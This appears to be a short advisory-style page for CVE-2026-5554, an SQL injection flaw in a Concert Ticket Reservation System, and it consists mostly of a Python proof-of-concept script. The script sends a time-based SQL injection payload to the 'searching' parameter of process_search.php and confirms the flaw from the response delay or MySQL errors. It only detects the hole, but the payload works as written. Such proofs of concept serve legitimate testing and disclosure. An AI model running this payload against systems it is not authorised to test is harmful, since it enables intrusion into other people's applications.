CVE-2026-5554: Concert Ticket Reservation System SQL注入漏洞

import requests def check_sqli_vuln(target_url): """ PoC for CVE-2026-5554: SQL Injection in process_search.php """ # The vulnerable endpoint full_url = f"{target_url}/ConcertTicketReservationSystem-master/process_search.php" # Payload to test for SQL Injection (e.g., time-based or boolean-based) # Example: searching parameter with a simple single quote to break syntax payload = { "searching": "test' AND SLEEP(5)-- " } try: print(f"[+] Sending request to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) # Check if the response time indicates a successful sleep injection # Or check for SQL syntax errors in response content if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Response time delayed (SQL Injection).") elif "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Vulnerability confirmed: SQL error found in response.") else: print("[-] Vulnerability could not be confirmed or target is not vulnerable.") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli_vuln(target)